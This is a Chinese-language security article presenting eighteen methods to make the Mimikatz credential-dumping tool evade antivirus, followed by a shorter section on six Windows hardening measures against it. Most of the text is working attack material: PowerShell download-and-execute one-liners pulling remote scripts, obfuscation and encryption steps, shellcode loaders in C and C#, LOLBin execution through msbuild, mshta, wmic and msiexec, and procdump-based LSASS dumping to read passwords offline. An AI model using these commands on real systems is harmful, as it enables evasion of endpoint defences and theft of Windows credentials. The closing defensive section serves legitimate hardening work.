Mimikatz的18種免殺姿勢及防禦策略
摘要:powershell.exe -exec bypass IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/TideSec/BypassAntiVirus/master/tools/mimikatz/Invoke-ReflectivePEInjection.ps1')。powershell.exe IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/TideSec/BypassAntiVirus/master/tools/mimikatz/Invoke-Mimikatz.ps1')。
鄭重聲明:文中所涉及的技術、思路和工具僅供以安全爲目的的學習交流使用,任何人不得將其用於非法用途以及盈利等目的,否則後果自行承擔!
《遠控免殺從入門到實踐》系列文章目錄:
6、 遠控免殺從入門到實踐 (6)代碼篇-Powershell
7、 遠控免殺從入門到實踐 (7)代碼篇-Golang+Ruby
8、 遠控免殺從入門到實踐 (8)shellcode免殺實踐
10、遠控免殺從入門到實踐 (10) Mimikatz的18種免殺實踐
0×00 前言
Mimikatz是法國人Benjamin Delpy編寫的一款輕量級的調試工具,理論上可以抓取所有windows系統的明文密碼(winxp之前的好像不行),因此在內網滲透過程中應用非常廣,屬於內網滲透必備工具之一,被很多人稱之爲密碼抓取神器。Mimikatz其實並不只有抓取口令這個功能,它還能夠創建票證、票證傳遞、hash傳遞、甚至僞造域管理憑證令牌等諸多功能。由於mimikatz的使用說明網上資料很多,本文主要是介紹一下mimikatz的一些免殺方式。
隨着這兩年hw行動越來越多,企事業單位也都開始注重內網安全,有預算的會上全套的終端安全、企業版殺軟或者EDR,就算沒有預算的也會裝個360全家桶或者主機衛士之類的,這也導致很多時候你的mimikatz可能都沒法拷貝過去或者沒有加載執行,拿了臺服務器卻橫向移不動就尷尬了。
之前寫了 遠控免殺系列的文章 ,學習到一些比較好玩的免殺姿勢,又從網上找到了一些針對mimikatz的免殺技巧,於是就有了這篇mimikatz免殺的文章。
本文所用到的相關工具和代碼都已經打包: https://github.com/TideSec/BypassAntiVirus/tree/master/tools/
0×02 免殺介紹
在 遠控免殺專題(1)-基礎篇 中就已經大體介紹了一些常見的免殺方式,而針對Mimikatz的免殺更多樣化,因爲Mimiktaz本身是開源的,對源碼或者對exe都可以進行免殺處理。本文主要介紹瞭如下5類免殺方式,共18種免殺方法。
本文雖然是針對Mimiktaz進行免殺,但更多的是想研究學習一下比較通用的exe的免殺方式,比如文中介紹的exe通用加載器、powershell執行exe、白名單加載exe等有幾種方法可以適用於任意的exe免殺,如果只是針對mimikatz進行免殺完全沒必要這麼囉嗦的。
1、源碼免殺。在有源碼的情況下,可以定位特徵碼、加花指令、多層跳轉、加無效指令、替換api、重寫api、API僞調用等等,這部分內容較多略複雜,打算另寫一篇進行介紹,本文不多介紹。
2、無源碼免殺在源碼不好修改需要對exe進行免殺時,可以加資源、替換資源、加殼、加簽名、PE優化、增加節數據等等。本文中的方法1就是這種方式,只不過算是最簡單的一種。
3、powershell免殺因爲mimikatz有powershell版或者使用powershell可以加載,所以對powershell的腳本免殺也是一種方式,本文中的方法2-方法6都是對powershell進行處理。
4、加載器分離免殺加載器就是利用了ShellCode和PE分離的方式來達到免殺的效果,在遠控免殺專題中介紹過不少很好用的加載器,不過很多隻能加載基於RAW格式或固定格式的shellcode,對exe程序就無能無力了。所以這次針對mimikatz,專門找了幾個比較通用的exe加載器,將exe轉換成bin文件即可進行加載,沒有格式限制,方法7到方法10就是介紹的這類免殺。
5、白名單免殺白名單主要是使用了rundll32、msbuild、mshta、cscript等多個白名單程序來加載嵌入了mimikatz的jscript腳本,這部分沒有太多亮點,和之前寫的 遠控免殺專題白名單篇 基本相似。部分白名單加載方法借鑑了R1ngk3y的文章 九種姿勢運行Mimikatz 。
0×03 mimikatz免殺實踐
方法0-原生態mimikatz.exe(VT查殺率55/71)
先測一下原生態的mimikatz在virustotal.com上的查殺率,以此來衡量其他的免殺效果。
可以從 https://github.com/gentilkiwi/mimikatz/releases 下載最新的mimikatz,最新版本爲2.2.0(20200308),我這裏都是以64位mimiktaz爲例進行測試。
開啓360防護時會攔截
virustotal.com上查殺率爲55/71。
方法1-加殼+簽名+資源替換(VT查殺率9/70)
這裏先介紹一種比較常見的pe免殺方法,就是替換資源+加殼+簽名,有能力的還可以pe修改,而且mimikatz是開源的,針對源碼進行免殺處理效果會更好,這裏不多做討論。
需要幾個軟件,VMProtect Ultimate 3.4.0加殼軟件,下載鏈接: https://pan.baidu.com/s/1VXaZgZ1YlVQW9P3B_ciChg 提取碼: emnq
簽名軟件 https://raw.githubusercontent.com/TideSec/BypassAntiVirus/master/tools/mimikatz/sigthief.py
資源替換軟件ResHacker: https://github.com/TideSec/BypassAntiVirus/blob/master/tools/mimikatz/ResHacker.zip
先替換資源,使用ResHacker打開mimikatz.exe,然後在圖標裏替換爲360圖標,version裏面文字自己隨意更改。
安裝vmp加殼軟件後,使用vmp進行加殼
使用sigthief.py對上一步生成的exe文件進行簽名。sigthief的詳細用法可以參考 https://github.com/secretsquirrel/SigThief 。
然後看看能不能運行,360和火絨都沒問題。
VT平臺上mimikatz32_360.exe文件查殺率9/70,缺點就是vmp加殼後會變得比較大。
方法2-Invoke-Mimikatz(VT查殺率39/58)
當exe文件執行被攔截時,最常想到的就是使用PowerSploit中的Invoke-Mimikatz.ps1了。它雖然是powershell格式,但由於知名度太高,目前也是被查殺的慘不忍睹了。
可以去PowerSploit下載,也可以下載我打包的:
https://raw.githubusercontent.com/TideSec/BypassAntiVirus/master/tools/mimikatz/Invoke-Mimikatz.ps1
將Invoke-Mimikatz.ps1放在測試機上,本地執行
C:\WINDOWS\system32\WindowsPowerShell\v1.0\powershell.exe -exec bypass "import-module c:\test\Invoke-Mimikatz.ps1;Invoke-Mimikatz"
殺軟會行爲攔截,Invoke-Mimikatz.ps1腳本也會被查殺。
powershell腳本更方便的是可以進行遠程加載
powershell.exe IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/TideSec/BypassAntiVirus/master/tools/mimikatz/Invoke-Mimikatz.ps1');Invoke-Mimikatz
不過由於raw.githubusercontent.com經常訪問受限,所以可能會出現這種提示
所以,最後是把相關代碼放在自己的vps上,我就直接放我的內網另外的pc上了。
powershell依舊會被360行爲攔截。
對可以嘗試直使用下面的bypass方式,來自團隊諾言大佬的文章 內網滲透-windows持久性後門
powershell.exe -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal "IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/TideSec/BypassAntiVirus/master/tools/mimikatz/Invoke-Mimikatz.ps1');Invoke-Mimikatz"
不會觸發powershell下載行爲預警。
virustotal.com上Invoke-Mimikatz.ps1腳本查殺率爲39/58。
方法3-使用Out-EncryptedScript加密(VT查殺率0/60)
參考 https://www.jianshu.com/p/ed5074f8584b
Powersploit中提供的很多工具都是做過加密處理的,同時也提供了一些用來加密處理的腳本,Out-EncryptedScript就是其中之一。
首先在本地對Invoke-Mimikatz.ps1進行加密處理:
先下載Out-EncryptedScript.ps1腳本,下載地址: https://raw.githubusercontent.com/TideSec/BypassAntiVirus/master/tools/mimikatz/Out-EncryptedScript.ps1
在自己的電腦上依次執行
powershell.exe Import-Module .\Out-EncryptedScript.ps1 Out-EncryptedScript -ScriptPath .\Invoke-Mimikatz.ps1 -Password tidesec -Salt 123456
默認會生成的evil.ps1文件。其中兩個參數:-Password 設置加密的密鑰-Salt 隨機數,防止被暴力破解
將加密生成的evil.ps1腳本放在目標機上,執行如下命令:
powershell.exe IEX(New-Object Net.WebClient).DownloadString("https://raw.githubusercontent.com/TideSec/BypassAntiVirus/master/tools/mimikatz/Out-EncryptedScript.ps1") [String] $cmd = Get-Content .\evil.ps1 Invoke-Expression $cmd $decrypted = de tidesec 123456 Invoke-Expression $decrypted Invoke-Mimikatz
對evil.ps1文件進行查殺
virustotal.com上evil.ps1文件查殺率爲0/60。
方法4-使用xencrypt加密(VT查殺率2/59)
該方法主要是使用工具對powershell腳本進行加密並採用Gzip/DEFLATE來繞過殺軟。
工具地址 https://raw.githubusercontent.com/TideSec/BypassAntiVirus/master/tools/mimikatz/xencrypt.ps1
下載Invoke-Mimikatz.ps1
https://raw.githubusercontent.com/TideSec/BypassAntiVirus/master/tools/mimikatz/Invoke-Mimikatz.ps1
將xencrypt.ps1也放在同一目錄
在powershell中執行
Import-Module ./xencrypt.ps1 Invoke-Xencrypt -InFile .\Invoke-Mimikatz.ps1 -OutFile mimi.ps1 -Iterations 88
生成mimi.ps1
執行
C:\WINDOWS\system32\WindowsPowerShell\v1.0\powershell.exe -exec bypass "import-module c:\test\mimi.ps1;Invoke-Mimikatz"
virustotal.com上mimi.ps1文件查殺率爲2/59。
方法5-PowerShell嵌入EXE文件(VT查殺率15/58)
這個方法其實只是將exe程序轉爲字符串,然後嵌入到Invoke-ReflectivePEInjection.ps1中直接執行。參考 https://www.freebuf.com/articles/terminal/99631.html
將下面代碼保存爲Convert-BinaryToString.ps1
function Convert-BinaryToString { [CmdletBinding()] param ( [string] $FilePath ) try { $ByteArray = [System.IO.File]::ReadAllBytes($FilePath); } catch { throw "Failed to read file. Ensure that you have permission to the file, and that the file path is correct."; } if ($ByteArray) { $Base64String = [System.Convert]::ToBase64String($ByteArray); } else { throw '$ByteArray is $null.'; } Write-Output -InputObject $Base64String }
執行powershell import-module .\Convert-BinaryToString.ps1 ; Convert-BinaryToString .\mimikatz.exe >>1.txt
下載Invoke-ReflectivePEInjection.ps1,這個是Empire裏的,可以使用PEUrl參數。 https://raw.githubusercontent.com/TideSec/BypassAntiVirus/master/tools/mimikatz/Invoke-ReflectivePEInjection.ps1
新建一個payload.ps1,內容如下,需要替換裏面1.txt的內容和Invoke-ReflectivePEInjection內容。
# Your base64 encoded binary $InputString = '...........' #上面1.txt的內容 function Invoke-ReflectivePEInjection #Invoke-ReflectivePEInjection的內容 { ...... ...... ...... } # Convert base64 string to byte array $PEBytes = [System.Convert]::FromBase64String($InputString) # Run EXE in memory Invoke-ReflectivePEInjection -PEBytes $PEBytes -ExeArgs "Arg1 Arg2 Arg3 Arg4"
然後在目標機器執行powershell -ExecutionPolicy Bypass -File payload.ps1即可。
打開殺軟發現靜態查殺都過不了,其實這個也正常,Invoke-ReflectivePEInjection這個知名度太高了。
如果保錯PE platform doesn’t match the architecture of the process it is being loaded in (32/64bit)
說明使用32位的powershell纔行%windir%\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -ExecutionPolicy Bypass -File payload.ps1
virustotal.com上payload.ps1文件查殺率爲15/58。
方法6-C程序中執行powershell(VT查殺率7/71)
這個執行方式也是比較簡單,在C代碼裏執行powershell。
先借用Invoke-Mimikatz.ps1
powershell $c2='IEX (New-Object Net.WebClient).Downlo';$c3='adString(''http://10.211.55.2/mimikatz/Invoke-Mimikatz.ps1'')'; $Text=$c2+$c3; IEX(-join $Text);Invoke-Mimikatz
使用c語言的system函數去執行powershell。
#include<stdio.h> #include<stdlib.h> int main(){ system("powershell $c2='IEX (New-Object Net.WebClient).Downlo';$c3='adString(''http://10.211.55.2/mimikatz/Invoke-Mimikatz.ps1'')'; $Text=$c2+$c3; IEX(-join $Text);Invoke-Mimikatz"); return 0; }
編譯爲exe文件,達到免殺的目的。但在運行該exe時,會觸發360報警。
virustotal.com上Project1.exe文件查殺率爲7/71。
方法7-使用加載器pe_to_shellcode(VT查殺率47/70)
下載 https://github.com/hasherezade/pe_to_shellcode
將mimikatz.exe轉化爲shellcodepe2shc.exe mimikatz.exe mimi.txt
加載runshc64.exe mimi.txt
virustotal.com上mimi.txt文件查殺率爲47/70,額,看來這個已經被列入黑名單了。
方法8-c#加載shellcode(VT查殺率21/57)
參考遠控免殺專題(38)-白名單Rundll32.exe執行payload(VT免殺率22-58) https://mp.weixin.qq.com/s/rm**AWC6HmcphozfEZhRGA
先使用上面介紹的pe_to_shellcode方法,把mimikatz.exe轉換爲mimi.txt
然後使用bin2hex.exe將mimi.txt轉換爲16進制文件,bin2hex.exe可在這裏下載到 https://github.com/TideSec/BypassAntiVirus/blob/master/tools/bin2hex.exe
bin2hex.exe --i mimi.txt --o mimi2.txt
在vs2017中創建C#的Console工程,把mimi2.txt中的16進制放到下面代碼中的MsfPayload中。
using System; using System.Threading; using System.Runtime.InteropServices; namespace MSFWrapper { public class Program { public Program() { RunMSF(); } public static void RunMSF() { byte[] MsfPayload = { 0x4D, 0x5A, 0x45, 0x52, 0xE8, 0x00, 0x00, 0x00, 0x00, 0x5B, 0x48, 0x83, 0x41, 0x59, 0x41, 0x58, 0x41, 0x5C, 0x5F, 0x5E, 0x5B, 0xC2, 0x04, 0x00 }; IntPtr returnAddr = VirtualAlloc((IntPtr)0, (uint)Math.Max(MsfPayload.Length, 0x1000), 0x3000, 0x40); Marshal.Copy(MsfPayload, 0, returnAddr, MsfPayload.Length); CreateThread((IntPtr)0, 0, returnAddr, (IntPtr)0, 0, (IntPtr)0); Thread.Sleep(2000); } public static void Main() { } [DllImport("kernel32.dll")] public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect); [DllImport("kernel32.dll")] public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId); } }
編譯生成exe文件。
然後使用DotNetToJScript把csharp文件轉爲js
DotNetToJScript.exe -l=JScript -o=mimikatz.js -c=MSFWrapper.Program ConsoleApp1.exe
使用cscript.exe mimikatz.js進行執行。
virustotal.com上mimi.txt文件查殺率爲21/57。
方法9-Donut執行mimikatz(VT查殺率29/71)
先使用donut把mimiktaz.exe轉爲bin文件。
donut.exe -f mimikatz.exe -o mimi.bin
將mimi.bin作base64編碼並保存在剪貼板,powershell命令如下:
$filename = "mimi.bin" [Convert]::ToBase64String([IO.File]::ReadAllBytes($filename)) | clip
把base64編碼複製到DonutTest工程中。
編譯生成exe。
在注入進程時,發現注入到notepad.exe中無法執行,但注入到powershell中可以執行。
但是發現仍被查殺。
VT查殺率29/71,怎一個慘字了得。
方法10-msf加載bin(VT查殺率2/59)
Donut下載 https://github.com/TheWover/donut
下載shellcode_inject.rb代碼 https://raw.githubusercontent.com/TideSec/BypassAntiVirus/master/tools/mimikatz/shellcode_inject.rb
1、首先使用Donut對需要執行的文件進行shellcode生成,這裏對mimi進行shellcode生成,生成bin文件,等下會用到。
donut.exe -f mimikatz.exe -a 2 -o mimi.bin
windows下的0.9.3版本的donut沒能生成,於是使用了0.9.2版本。
kali下的0.9.3可正常使用。
2、將上面的shellcode_inject.rb放入/opt/metasploit-framework/embedded/framework/modules/post/windows/manage下(實際路徑可能不同,也就是metasploit-framework的上級路徑,根據實際情況調整),然後進入msf,reload_all同時載入所有模塊。
kali裏是在目錄/usr/share/metasploit-framework/modules/post/windows/manage/
mac下是在/opt/metasploit-framework/embedded/framework/modules/post/windows/manage
3、使用之前載入的shellcode_inject注入模塊,這裏是獲取session後的操作了,session先自己上線再進行以下操作
use post/windows/manage/shellcode_inject set session 2 set shellcode /tmp/payload.bin run
最後成功加載了mimi,使用shellcode注入執行,有更強的隱蔽性。
VT平臺上mimi.bin文件查殺率2/59,卡巴斯基這都能查殺…
方法11-用C#加載mimikatz(VT查殺率35/73)
參考 https://www.jianshu.com/p/12242d82b2df
參考遠控免殺專題(29)-C#加載shellcode免殺-5種方式(VT免殺率8-70): https://mp.weixin.qq.com/s/Kvhfb13d2_D6m-Bu9Darog
下載
https://raw.githubusercontent.com/TideSec/BypassAntiVirus/master/tools/mimikatz/katz.cs
將katz.cs放置C:\Windows\Microsoft.NET\Framework\v2.0.50727先powoershell執行
$key = 'BwIAAAAkAABSU0EyAAQAAAEAAQBhXtvkSeH85E31z64cAX+X2PWGc6DHP9VaoD13CljtYau9SesUzKVLJdHphY5ppg5clHIGaL7nZbp6qukLH0lLEq/vW979GWzVAgSZaGVCFpuk6p1y69cSr3STlzljJrY76JIjeS4+RhbdWHp99y8QhwRllOC0qu/WxZaffHS2te/PKzIiTuFfcP46qxQoLR8s3QZhAJBnn9TGJkbix8MTgEt7hD1DC2hXv7dKaC531ZWqGXB54OnuvFbD5P2t+vyvZuHNmAy3pX0BDXqwEfoZZ+hiIk1YUDSNOE79zwnpVP1+BN0PK5QCPCS+6zujfRlQpJ+nfHLLicweJ9uT7OG3g/P+JpXGN0/+Hitolufo7Ucjh+WvZAU//dzrGny5stQtTmLxdhZbOsNDJpsqnzwEUfL5+o8OhujBHDm/ZQ0361mVsSVWrmgDPKHGGRx+7FbdgpBEq3m15/4zzg343V9NBwt1+qZU+TSVPU0wRvkWiZRerjmDdehJIboWsx4V8aiWx8FPPngEmNz89tBAQ8zbIrJFfmtYnj1fFmkNu3lglOefcacyYEHPX/tqcBuBIg/cpcDHps/6SGCCciX3tufnEeDMAQjmLku8X4zHcgJx6FpVK7qeEuvyV0OGKvNor9b/WKQHIHjkzG+z6nWHMoMYV5VMTZ0jLM5aZQ6ypwmFZaNmtL6KDzKv8L1YN2TkKjXEoWulXNliBpelsSJyuICplrCTPGGSxPGihT3rpZ9tbLZUefrFnLNiHfVjNi53Yg4=' $Content = [System.Convert]::FromBase64String($key) Set-Content key.snk -Value $Content -Encoding Byte
再cmd執行
C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe /r:System.EnterpriseServices.dll /out:katz.exe /keyfile:key.snk /unsafe katz.cs C:\Windows\Microsoft.NET\Framework\v2.0.50727\regsvcs.exe katz.exe
運行時需要管理員權限,而且360會攔截
放行後可正常執行
virustotal.com上katz.exe查殺率爲35/73,略慘。
方法12-JS加載mimikatz(VT查殺率22/59)
參考遠控免殺專題(38)-白名單Rundll32.exe執行payload(VT免殺率22-58): https://mp.weixin.qq.com/s/rm**AWC6HmcphozfEZhRGA
這個是大佬已經做好的payload,可以直接進行使用。
用DotNetToJScript實現
https://github.com/tyranid/DotNetToJScript
mimikatz
https://raw.githubusercontent.com/TideSec/BypassAntiVirus/master/tools/mimikatz/mimikatz.js
執行cscript mimikatz.js,360會攔截。
放行後可正常執行
virustotal.com上mimikatz.js查殺率爲22/59。
方法13-msiexec加載mimikatz(VT查殺率25/60)
參考遠控免殺專題(35)-白名單Msiexec.exe執行payload(VT免殺率27-60): https://mp.weixin.qq.com/s/XPrBK1Yh5ggO-PeK85mqcg
使用Advanced Installer生成msi文件。
遠程執行
msiexec.exe /passive /i https://raw.githubusercontent.com/TideSec/BypassAntiVirus/master/tools/mimikatz/mimikatz.msi /norestart
本地執行
msiexec /passive /i Mimikatz.msi
virustotal.com上mimikatz.msi查殺率爲25/60。
方法14-白名單msbuild.exe加載(VT查殺率4/59)
可參考之前的遠控免殺專題(34)-白名單MSBuild.exe執行payload(VT免殺率4-57): https://mp.weixin.qq.com/s/1WEglPXm1Q5n6T-c4OhhXA
下載mimikatz.xml
https://raw.githubusercontent.com/TideSec/BypassAntiVirus/master/tools/mimikatz/executes-mimikatz.xml
執行
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\msbuild.exe executes-mimikatz.xml
火絨會預警,360不會
virustotal.com上executes-mimikatz.xml查殺率爲4/59。
方法15-JScript的xsl版(VT查殺率7/60)
下載
https://raw.githubusercontent.com/TideSec/BypassAntiVirus/master/tools/mimikatz/mimikatz.xsl
本地加載
wmic os get /format:"mimikatz.xsl"
遠程加載
wmic os get /format:"https://raw.githubusercontent.com/TideSec/BypassAntiVirus/master/tools/mimikatz/mimikatz.xsl"
放行後
virustotal.com上mimikatz.xsl查殺率爲7/60。
方法16-jscript的sct版(VT查殺率23/59)
參考遠控免殺專題(37)-白名單Mshta.exe執行payload(VT免殺率26-58): https://mp.weixin.qq.com/s/oBr-syv2ef5IjeGFrs7sHg
下載
https://raw.githubusercontent.com/TideSec/BypassAntiVirus/master/tools/mimikatz/mimikatz.sct
執行
mshta.exe javascript:a=GetObject("script:https://raw.githubusercontent.com/TideSec/BypassAntiVirus/master/tools/mimikatz/mimikatz.sct").Exec(); log coffee exit
360攔截依舊
virustotal.com上mimikatz.sct查殺率爲23/59。
方法17-ReflectivePEInjection加載(VT查殺率32/57)
ReflectivePEInjection是powersploit裏的比較有名的一個pe加載腳本,很好使。
下載
https://raw.githubusercontent.com/TideSec/BypassAntiVirus/master/tools/mimikatz/Invoke-ReflectivePEInjection.ps1
執行
powershell.exe -exec bypass IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/TideSec/BypassAntiVirus/master/tools/mimikatz/Invoke-ReflectivePEInjection.ps1');Invoke-ReflectivePEInjection -PEUrl "http://10.211.55.2/mimikatz/x64/mimikatz.exe" -ExeArgs "sekurlsa::logonpasswords" -ForceASLR
這個用什麼來衡量免殺都不太合適,我就用Invoke-ReflectivePEInjection.ps1吧。在virustotal.com上Invoke-ReflectivePEInjection.ps1查殺率爲32/57。
方法18-導出lsass進程離線讀密碼(VT查殺率0/72)
windows有多款官方工具可以導出lsass進程的內存數據,比如procdump.exe、SqlDumper.exe、Out-Minidump.ps1等,我這裏以procdump.exe爲例進行演示。
procdump.exe工具是微軟出品的工具,具有一定免殺效果。可以利用procdump把lsass進程的內存文件導出本地,再在本地利用mimikatz讀取密碼。
procdump.exe下載 https://github.com/TideSec/BypassAntiVirus/tree/master/tools/mimikatz/procdump.exe
在目標機器執行下面命令,導出lsass.dmp
procdump.exe -accepteula -ma lsass.exe lsass.dmp
再使用mimikatz讀取密碼
mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" exit
需要注意的是從目標機器導出的lsass.dmp需要在相同系統下運行。
在virustotal.com上procdump.exe查殺率爲0/72,不過這種讀取lsass的行爲早就被各大殺軟攔截了,所以這種靜態查殺沒有太大參考價值。
我們團隊的諾言大佬寫過一篇可繞過卡巴斯基獲取hash的方法,可以看這個 https://mp.weixin.qq.com/s/WLP1soWz-_BEouMxTHLbzg 。
0×04 防禦mimikatz的6種方法
由於mimikatz工具太厲害,橫向移動必備神器,所以針對mimikatz的加固方法也有不少,這裏簡單介紹幾種。
方法1-WDigest禁用緩存
WDigest.dll是在Windows XP操作系統中引入的,當時這個協議設計出來是把明文密碼存在lsass裏爲了http認證的。WDigest的問題是它將密碼存儲在內存中,並且無論是否使用它,都會將其存儲在內存中。
默認在win2008之前是默認啓用的。但是在win2008之後的系統上,默認是關閉的。如果在win2008之前的系統上打了KB2871997補丁,那麼就可以去啓用或者禁用WDigest。
KB2871997補丁下載地址:
Windows 7 x86 https://download.microsoft.com/download/9/8/7/9870AA0C-BA2F-4FD0-8F1C-F469CCA2C3FD/Windows6.1-KB2871997-v2-x86.msu Windows 7 x64 https://download.microsoft.com/download/C/7/7/C77BDB45-54E4-485E-82EB-2F424113AA12/Windows6.1-KB2871997-v2-x64.msu Windows Server 2008 R2 x64 Edition https://download.microsoft.com/download/E/E/6/EE61BDFF-E2EA-41A9-AC03-CEBC88972337/Windows6.1-KB2871997-v2-x64.msu
啓用或者禁用WDigest修改註冊表位置:
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurityProviders\WDigest
UseLogonCredential 值設置爲 0, WDigest不把憑證緩存在內存,mimiktaz抓不到明文;UseLogonCredential 值設置爲 1, WDigest把憑證緩存在內存,mimiktaz可以獲取到明文。
在註冊表中將UseLogonCredential 值設置爲 0,或者使用命令
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 0 /f
我們可以通過如下命令來測試修改是否生效:
reg query HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential
如果成功,系統應該會返回如下內容:
註銷後重新登錄,發現mimikatz已經無法獲取明文密碼。
方法2-Debug 權限
Mimikatz在獲取密碼時需要有本地管理員權限,因爲它需要與lsass進程所交互,需要有調試權限來調試進程,默認情況下本地管理員擁有調試權限,但是這個權限一般情況是很少用得到的,所以可以通過關閉debug權限的方法來防範Mimikatz。
刪除上圖的administrators組,這樣管理員也沒了debug權限。
註銷後再執行mimiktaz,獲取debug權限時發現報錯。
方法3-LSA 保護
自Windows 8.1 開始爲LSA提供了額外的保護(LSA Protection),以防止讀取內存和不受保護的進程注入代碼。保護模式要求所有加載到LSA的插件都必須使用Microsoft簽名進行數字簽名。 在LSA Protection保護模式下,mimikatz運行 sekurlsa::logonpasswords抓取密碼會報錯。
可以通過註冊表開啓LSA Protection,註冊表位置:HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa新建-DWORD(32)值,名稱爲 RunAsPPL,數值爲 00000001,然後重啓系統生效。
或者使用命令來完成
REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v "RunAsPPL" /t REG_DWORD /d "00000001" /f
重啓後再執行mimikatz.exe,發現已經無法獲取密碼。
此時其實可以從磁盤上的SAM讀取憑據,執行
mimikatz # privilege::debug mimikatz # token::whoami mimikatz # token::elevate mimikatz # lsadump::sam
方法4-受限制的管理模式
對於 Windows 2012 R2 和 Windows 8.1 之前的舊操作系統,需要先安裝補丁KB2871997。
先在 HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Lsa 設置RunAsPPL爲1然後在 HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Lsa 設置 DisableRestrictedAdmin爲0 , DisableRestrictedAdminOutboundCreds爲1。
然後需要在域中強制執行“對遠程服務器的憑據限制委派”策略,以確保所有出站RDP會話都使用“RestrictedAdmin”模式,因此纔不會泄露憑據。
具體位置是組策略:計算機配置–管理模板–系統–憑據分配–限制向遠程服務器分配憑據,選擇已啓用,但是我的環境裏選項一欄中沒有看到Require Restricted Admin。
在執行 lsadump::cache時報錯,ERROR kuhl_m_lsadump_secrets0rCache:kull_m_registry_RegOpenKeyEx (SECURITY) 0×00000005該錯誤,是註冊表增加了LSA保護所起到的。
方法5-禁用憑證緩存
Domain Cached Credentials 簡稱 DDC,也叫 mscache。有兩個版本,XP/2003 年代的叫第一代,Vasta/2008 之後的是第二代。如果域控制器不可用,那麼windows將檢查緩存的最後一個密碼hash值,這樣爲以後系統對用戶進行身份驗證。緩存位置如下:
HKEY_LOCAL_MACHINE\SECURITY\Cache
在組策略中設置禁用緩存
計算機配置--windows設置--安全設置--本地策略--安全選項 交互式登錄:之前登錄到緩存的次數(域控制器不可用時) 默認是10,設置爲0
註銷後再次執行mimikatz,沒有讀取到任何用戶數據。
方法6-受保護的用戶組
WindowsServer 2012及更高版本使用了引入了一個名爲“Protected Users”的新安全組,其他系統需要安裝 KB2871997 補丁纔會有。
此組使域管理員能夠保護本地管理員等有權限的用戶,因爲屬於該組的任何帳戶只能通過Kerberos對域進行身份驗證。
這將有助於防止NTLS密碼哈希值或LSAS中的純文本憑據泄露給敏感帳戶,這些帳戶通常是攻擊者的目標。
可以在“Active Directory用戶和計算機”中找到“Protected Users”安全組。
在配置之前,使用mimikatz可讀取明文密碼。
可以通過執行以下PowerShell命令將帳戶添加到“受保護的用戶”組中:
Add-ADGroupMember –Identity 'Protected Users' –Members administrator
註銷後再次執行mimikatz,已經看不到administrator用戶的密碼了。
0×05 小結
通過對mimikatz免殺的研究,也算是對之前的遠控免殺專題文章進行了重溫和實踐,整理了幾種能適用於任意exe文件的免殺方法,最起碼以後看到殺軟不會那麼咬牙切齒了。
1、源碼級免殺應該是效果比較好的,不過對編程能力、免殺經驗要求比較高,不少大佬手頭上都有私藏定製的全免殺的mimikatz,很多都是通過源碼處理後再編譯來免殺的。 2、通過修改資源、簽名、pe優化修改等方式相對簡單一些,不過免殺效果也差了一些,很多時候靜態查殺能過,但行爲查殺就廢了。 3、針對powershell來加載或執行mimikatz時,免殺主要針對powershell腳本,免殺效果也很好,不過你在目標機器上怎麼執行powershell而不觸發殺軟行爲檢測是個問題。 4、加載器的免殺效果整體算不錯,當然donut是個例外,因爲他開源而且知名度比較高,裏面特徵碼被查殺的太厲害,如果稍微修改下源碼再編譯應該會好很多。 5、白名單執行大部分還是使用了將C#程序轉爲js的方法,靜態免殺效果還不錯,但白名單最尷尬的是遠程調用時殺軟都會攔截報警,在2008服務器上你用webshell調用任意程序最新的360都會攔截。
0×06 參考資料
防禦mimikatz抓取密碼的方法: https://zhuanlan.zhihu.com/p/59337564
Bypass LSA Protection: https://xz.aliyun.com/t/6943
防禦Mimikatz攻擊的方法介: https://www.freebuf.com/articles/network/180869.html
九種姿勢運行Mimikatz: https://cloud.tencent.com/developer/article/1171183
Mimikatz的多種攻擊方式以及防禦方式: http://blog.itpub.net/69946337/viewspace-2658825/
簡單幾步搞定Mimikatz無文件+免殺: https://www.jianshu.com/p/ed5074f8584b
*本文作者:Tide重劍無鋒,轉載請註明來自FreeBuf.COM